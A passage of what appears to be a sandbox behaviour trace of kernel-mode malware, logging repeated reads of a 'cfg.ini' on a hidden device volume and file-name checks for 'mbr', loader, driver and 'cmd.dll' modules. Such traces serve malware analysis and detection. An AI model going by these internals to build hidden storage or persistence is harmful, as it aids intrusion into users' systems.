Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.422] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.422] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.422] IdePortDispatch () returned 0x103 [0127.422] KeWaitForMutexObject () returned 0x0 [0127.422] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.422] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.422] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.422] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.422] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.422] IdePortDispatch () returned 0x103 [0127.423] KeWaitForMutexObject () returned 0x0 [0127.423] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.423] KeLeaveCriticalRegion () [0127.423] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.423] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.423] KeEnterCriticalRegion () [0127.423] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.423] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.423] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.423] KeLeaveCriticalRegion () [0127.423] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.424] KeEnterCriticalRegion () [0127.424] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.424] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0127.424] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80037e1f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.424] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.424] KeLeaveCriticalRegion () [0127.424] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.424] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.424] KeEnterCriticalRegion () [0127.424] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.424] ExFreePoolWithTag (P=0xfffffa80037e18f0, Tag=0x0) [0127.424] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.424] KeLeaveCriticalRegion () [0127.424] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.424] ReleaseMutex (hMutex=0xf0) returned 1 [0127.424] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.424] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0127.424] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.424] KeEnterCriticalRegion () [0127.424] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.424] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.424] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.424] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.424] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.424] IdePortDispatch () returned 0x103 [0127.425] KeWaitForMutexObject () returned 0x0 [0127.425] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.425] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.425] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.425] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.425] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.425] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039b7920 [0127.425] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.425] KeLeaveCriticalRegion () [0127.425] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.425] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.425] KeEnterCriticalRegion () [0127.425] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.425] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.425] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.425] KeLeaveCriticalRegion () [0127.425] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.425] KeEnterCriticalRegion () [0127.425] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.425] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.425] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.425] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.425] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0127.425] IdePortDispatch () returned 0x103 [0127.425] KeWaitForMutexObject () returned 0x0 [0127.425] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.425] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.425] KeLeaveCriticalRegion () [0127.425] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.426] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.426] KeEnterCriticalRegion () [0127.426] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.426] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035bf000 [0127.426] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.426] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.426] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.426] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.426] IdePortDispatch () returned 0x103 [0127.426] KeWaitForMutexObject () returned 0x0 [0127.426] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.426] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.426] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.426] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.426] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.426] IdePortDispatch () returned 0x103 [0127.426] KeWaitForMutexObject () returned 0x0 [0127.426] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.427] KeLeaveCriticalRegion () [0127.427] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.427] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.427] KeEnterCriticalRegion () [0127.427] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.427] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.427] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.427] KeLeaveCriticalRegion () [0127.427] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.427] KeEnterCriticalRegion () [0127.427] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.427] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0127.427] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039bbaf0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.427] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.427] KeLeaveCriticalRegion () [0127.427] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.428] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.428] KeEnterCriticalRegion () [0127.428] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.428] ExFreePoolWithTag (P=0xfffffa80039b7920, Tag=0x0) [0127.428] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.428] KeLeaveCriticalRegion () [0127.428] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.428] ReleaseMutex (hMutex=0xf0) returned 1 [0127.428] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0127.428] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0127.428] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0127.428] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0127.428] KeEnterCriticalRegion () [0127.428] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.428] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.428] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.428] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.428] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.428] IdePortDispatch () returned 0x103 [0127.428] KeWaitForMutexObject () returned 0x0 [0127.428] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.429] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0127.429] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.429] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.429] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.429] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0127.429] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0127.429] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.429] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.429] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0127.429] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.429] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.429] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.429] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.429] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.429] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.429] KeLeaveCriticalRegion () [0127.429] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.429] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0127.429] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0127.429] KeEnterCriticalRegion () [0127.429] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.429] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.429] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.429] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.429] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.429] IdePortDispatch () returned 0x103 [0127.429] KeWaitForMutexObject () returned 0x0 [0127.429] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.429] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0127.429] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.430] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.430] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.430] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0127.430] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0127.430] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.430] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.430] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0127.430] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.430] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.430] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.430] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.430] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.430] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.430] KeLeaveCriticalRegion () [0127.430] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.430] ReleaseMutex (hMutex=0x100) returned 1 [0127.430] Sleep (dwMilliseconds=0x2bf20) [0127.438] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6f275830, dwHighDateTime=0x1d24fa4)) [0127.438] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0127.438] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.438] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0127.438] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.438] KeEnterCriticalRegion () [0127.438] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.438] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.438] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.438] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.438] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.438] IdePortDispatch () returned 0x103 [0127.439] KeWaitForMutexObject () returned 0x0 [0127.439] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.439] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.439] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.439] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.439] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.439] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800c4f7330 [0127.439] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.439] KeLeaveCriticalRegion () [0127.439] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.439] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.439] KeEnterCriticalRegion () [0127.439] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.439] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.439] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.439] KeLeaveCriticalRegion () [0127.439] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.439] KeEnterCriticalRegion () [0127.439] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.439] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.439] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.439] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.439] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0127.439] IdePortDispatch () returned 0x103 [0127.439] KeWaitForMutexObject () returned 0x0 [0127.440] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.440] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.440] KeLeaveCriticalRegion () [0127.440] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.440] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.440] KeEnterCriticalRegion () [0127.440] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.440] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035c2000 [0127.440] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.440] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.440] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.440] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.440] IdePortDispatch () returned 0x103 [0127.440] KeWaitForMutexObject () returned 0x0 [0127.440] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.440] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.440] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.440] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.440] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.440] IdePortDispatch () returned 0x103 [0127.441] KeWaitForMutexObject () returned 0x0 [0127.441] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.441] KeLeaveCriticalRegion () [0127.441] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.441] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.441] KeEnterCriticalRegion () [0127.441] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.441] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.441] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.441] KeLeaveCriticalRegion () [0127.442] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.442] KeEnterCriticalRegion () [0127.442] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.442] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0127.442] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039bbaf0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.442] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.442] KeLeaveCriticalRegion () [0127.442] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.442] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.442] KeEnterCriticalRegion () [0127.442] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.442] ExFreePoolWithTag (P=0xfffffa800c4f7330, Tag=0x0) [0127.442] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.442] KeLeaveCriticalRegion () [0127.442] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.442] ReleaseMutex (hMutex=0xf0) returned 1 [0127.442] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.442] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0127.442] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.442] KeEnterCriticalRegion () [0127.442] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.442] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.442] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.442] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.442] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.442] IdePortDispatch () returned 0x103 [0127.443] KeWaitForMutexObject () returned 0x0 [0127.443] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.443] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.443] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) 